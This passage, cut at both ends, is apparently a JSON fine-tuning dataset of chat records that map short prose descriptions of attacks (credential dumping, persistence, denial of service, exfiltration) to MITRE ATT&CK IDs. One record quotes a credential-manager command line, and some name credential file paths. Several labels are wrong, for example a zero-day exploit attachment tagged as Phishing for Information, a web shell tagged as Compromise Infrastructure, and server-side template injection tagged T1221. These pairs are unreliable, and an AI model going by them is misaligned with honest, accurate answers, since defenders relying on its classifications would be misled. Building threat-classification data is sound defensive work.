            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised Docker host to launch a cryptomining worm that spreads across containers."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a proxy feature of a commonly trusted developer utility to launch unauthorized commands."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the transport agent API to inject commands into the email processing flow of the Exchange server."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a command into the user's fish shell configuration (config.fish) that starts a credential stealer each time the shell starts."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit script iterates through `C:\\Windows\\System32\\GroupPolicy\\` to infer local group policies and group memberships."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a Java applet that queries the system's MIME types and installed browser plugins for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the actor runs the 'shareenum' utility to discover exposed network shares."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted malicious document triggers a heap corruption bug in a PDF reader, crashing the client machine and preventing further use."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage legitimate software deployment tools such as Microsoft SCCM to silently install malicious executables across enterprise workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use automated tools to create a web of low‑quality pages stuffed with target keywords and malicious backlinks, improving the visibility of a ransomware distribution site."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a remote PowerShell script that parses `Program Files` directories to infer software presence."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a malicious DLL in the same folder as a trusted executable, causing the legitimate program to load the rogue library instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script extracts the bash history from /home/*/.bash_history to harvest authentication tokens accidentally typed on the command line."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .dotx template with embedded VBA is added to the user's Office startup folder, causing the macro to run each time Microsoft Word is started."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performed a WMI event subscription to persist malicious script execution after reboot."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated threat replaces a system's shared C runtime library with a tampered version that logs credentials and exfiltrates them, exploiting the trust placed in the shared module."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers dumped the Local Security Authority (LSA) secret store to harvest password hashes from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue actor deploys a fast‑flux botnet to send continuous GRE packets, overwhelming the victim's routing equipment and disrupting connectivity."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group steals an SSH private key from a compromised CI/CD pipeline and uses it to hijack the remote service sessions of production servers."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a utility that overwrites the partition table, rendering the disk unreadable."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits unsanitized user input in a Handlebars template, achieving server‑side request forgery and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group abuses insecure cookie storage in a mobile app, extracting the session identifier and using it to hijack the user's web session."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign employs a mass fork bomb to deplete system resources, leading to an endpoint crash."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Windows Management Instrumentation (WMI) to retrieve domain account details from the remote host."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious extension for a browser injects code that disables support for modern TLS versions, making the browser fall back to SSL 3.0 for all HTTPS connections."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised endpoint agent is reprogrammed to send continuous fake alerts about CPU usage spikes, masking the real data exfiltration activity."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A file‑wiping component of the malware uses Windows DiskPart to clean the selected disk, removing all partitions and data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a hidden user-mode DLL that intercepts API calls to mask its presence and manipulate system utilities."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion utilizes the metadata API of a cloud VM to retrieve AWS temporary credentials for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware component activates the built‑in microphone on a Windows laptop to record ambient conversations and uploads the .wav files to the command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphisher distributes a PDF resume attachment that exploits a zero‑day to gain system access."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a compromised third‑party advertising platform to gain unauthorized access to the victim's Pinterest account via OAuth token abuse."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes stolen files using Base64 before exfiltration to evade network detection."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uploads a malicious web shell to a compromised WordPress site to gain persistent remote access."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign renamed the Windows Defender executable to 'defender_backup.exe', then used the original name for their ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration tool uses simple binary-to-text encoding (Base64) to embed data in JSON payloads."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Mimikatz to pull clear‑text passwords from the SAM database on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a supply chain relationship by compromising a software vendor's update mechanism to deliver malware to the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a supply chain attack to insert malicious code into a server‑side application, giving them remote code execution capabilities."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launched a massive SYN flood against the victim's web server, overwhelming it with half-open TCP connections and causing service outage."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage team opens a new Reddit account to infiltrate niche community forums and share malicious files disguised as useful tools."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain attack inserts malicious code into firmware binaries before distribution."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies the configuration files from a network device's centralized repository to extract firewall rules and routing tables."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group embeds exfiltration commands in a Discord webhook payload to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden folder named '.config' in the user's home directory and stores malicious scripts there to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code read the saved passwords from the Chrome password store file."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware scans the system's /var/log directory to collect authentication logs."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool hooks into the input subsystem to capture credentials entered into remote desktop sessions."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a default VNC service on a Windows server, bypassing firewall rules to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a script that runs “rundll32.exe keymgr.dll,KRShowKeyMgr” to open the Credential Manager UI and capture entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a brute force attack by iteratively trying variations of a known username with common passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious DLL injection into the Server Software Component: Terminal Services DLL allows the attacker to hook RDP authentication and capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s code performs periodic checks of the system clock against a known timestamp and aborts if the environment appears to be a fast‑forwarded virtual sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized software retrieves a list of active processes to locate antivirus or endpoint protection components."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing attachment contained a .py file that, when run, created a reverse shell to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code aggregates harvested browser histories into a custom .hist archive before exfiltrating."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a non-standard binary-to-text encoding that replaces each byte with two printable symbols."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts additional cloud API keys from a compromised service account and uses them to access storage buckets."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a USB device that floods the endpoint’s USB controller with spurious interrupts, leading to intermittent hangs and crashes."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain registers a custom filetype handler that invokes Verclsid, allowing the attacker to execute code under a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses 'crictl exec' to execute a command inside a container managed by CRI-O."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor drops a PowerShell script into the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup directory."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker set up a persistent external remote service using Google's Cloud Platform APIs to manage compromised assets."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By tampering with the RegisteredNetworkProviders registry key, attackers cause the system to load a malicious DLL during authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using social engineering tactics to trick users into divulging sensitive information"
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Docker API to retrieve stored registry credentials without authentication."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a malicious URL that, when clicked, executes a PowerShell script to install a backdoor on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses PowerShell to query Exchange Web Services (EWS) and download all recent emails from compromised mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s payload automatically gathers browser history files and transmits them to a command‑and‑control server using a custom TCP protocol."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses legitimate SMB traffic patterns to transmit command‑and‑control data."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the intruder executes a disk wiping tool that securely erases the entire disk contents."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware generates a list of pseudo‑random domains daily and attempts to resolve them to contact its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insiders inserted malicious code into the software development lifecycle and had it signed with the organization’s internal code‑signing certificate before release."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains domain admin credentials and accesses critical servers using those valid accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT group utilizes asymmetric encryption to establish an encrypted channel, transmitting commands only decipherable with the private key held by the infiltrator."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages raw Ethernet frames to send beacon messages to its controller, sidestepping typical protocol analysis."
            },
            {
